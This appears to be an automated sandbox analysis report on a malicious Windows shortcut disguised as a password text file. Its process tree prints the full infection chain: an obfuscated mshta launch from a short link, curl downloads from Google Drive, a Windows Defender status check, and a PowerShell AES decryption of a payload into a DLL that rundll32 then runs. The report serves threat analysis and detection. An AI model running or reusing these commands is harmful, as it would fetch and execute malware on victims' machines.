0e8c6ad144d0538ffbc7938904c74ba2d528afac1a2fa9ce13330676ebd4071d

General

Target
암호.txt.lnk
Size 2KB
Sample260828-csv1taem8s
SHA256 0e8c6ad144d0538ffbc7938904c74ba2d528afac1a2fa9ce13330676ebd4071d
MD5 1b125ccda22e0b7842f66e4a5c825966
SHA1 cb1c7eea1c32bdd303be8f88b9a450a21c8c28b4
SHA512 46dbf3a4c8e8d57446c31e19cc28469ee15310524fc57bff7336916e36d7b65876eb2a4d25c1a74ac8fbfb0ffd9d61117b97f89b879e1dc32f80834829f9b673
TLSH
T1354102164BF51325C2B7DB3B68FAA244A6327911EE038EDC42C052846C54604F976F7F
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://link24.kr/9XNu5iA

Signatures

Badlisted process makes network request 11 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4648	mshta.exe
5	4648	mshta.exe
6	4648	mshta.exe
7	4648	mshta.exe
8	4648	mshta.exe
9	4648	mshta.exe
10	4648	mshta.exe
11	4648	mshta.exe
12	4648	mshta.exe
13	4648	mshta.exe
14	4648	mshta.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
15	drive.google.com
27	drive.google.com
28	drive.google.com
1	drive.google.com

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4892	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2344	cmd.exe
3044	cmd.exe
2736	cmd.exe
4328	cmd.exe
5596	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5996	powershell.exe
5996	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5996	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5596 wrote to memory of 5996	5596	cmd.exe	90
PID 5996 wrote to memory of 4648	5996	powershell.exe	92
PID 4648 wrote to memory of 3044	4648	mshta.exe	93
PID 4648 wrote to memory of 2344	4648	mshta.exe	94
PID 3044 wrote to memory of 1508	3044	cmd.exe	97
PID 2344 wrote to memory of 4892	2344	cmd.exe	98
PID 4648 wrote to memory of 2736	4648	mshta.exe	99
PID 2736 wrote to memory of 2580	2736	cmd.exe	101
PID 4648 wrote to memory of 4328	4648	mshta.exe	103
PID 4328 wrote to memory of 5884	4328	cmd.exe	105

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\암호.txt.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ms`hta https://link24.kr/9XNu5iA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5996
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/9XNu5iA
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:4648
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local\Temp && curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1Hy6v6gYwI1BNV1mTQs-oYpf4FTLCR_kS" && password.txt
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3044
    - - C:\Windows\system32\curl.exe
        
        curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1Hy6v6gYwI1BNV1mTQs-oYpf4FTLCR_kS"
        5⤵
        
        PID:1508
  - - C:\Windows\system32\cmd.exe
      cmd /c sc query WinDefend
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2344
    - - C:\Windows\system32\sc.exe
        
        sc query WinDefend
        5⤵
        Launches sc.exe
        
        PID:4892
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o user.txt "https://drive.google.com/uc?export=download&id=1ZMThauqlS6wAY_AEWyBaP0d34Rz9bKrR"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2736
    - - C:\Windows\system32\curl.exe
        
        curl -L -o user.txt "https://drive.google.com/uc?export=download&id=1ZMThauqlS6wAY_AEWyBaP0d34Rz9bKrR"
        5⤵
        
        PID:2580
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o sys.log "https://drive.google.com/uc?export=download&id=1jUGqGHodrW_KEQqAC0vslkq7MEtIDF7g" && powershell -Command "[System.IO.File]::WriteAllBytes('sys.dll', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('sys.log'), 0, [System.IO.File]::ReadAllBytes('sys.log').Length))" && del sys.log && rundll32 sys.dll,o
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4328
    - - C:\Windows\system32\curl.exe
        
        curl -L -o sys.log "https://drive.google.com/uc?export=download&id=1jUGqGHodrW_KEQqAC0vslkq7MEtIDF7g"
        5⤵
        
        PID:5884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/5996-2-0x00007FFA47CFF000-0x00007FFA47D00000-memory.dmp

Download

memory/5996-5-0x000001FF7FE70000-0x000001FF7FE92000-memory.dmp

Download

memory/5996-6-0x00007FFA47B70000-0x00007FFA48514000-memory.dmp

Download

memory/5996-7-0x00007FFA47B70000-0x00007FFA48514000-memory.dmp

Download

memory/5996-8-0x00007FFA47B70000-0x00007FFA48514000-memory.dmp

Download

memory/5996-10-0x00007FFA47B70000-0x00007FFA48514000-memory.dmp

Download

memory/5996-11-0x00007FFA47B70000-0x00007FFA48514000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads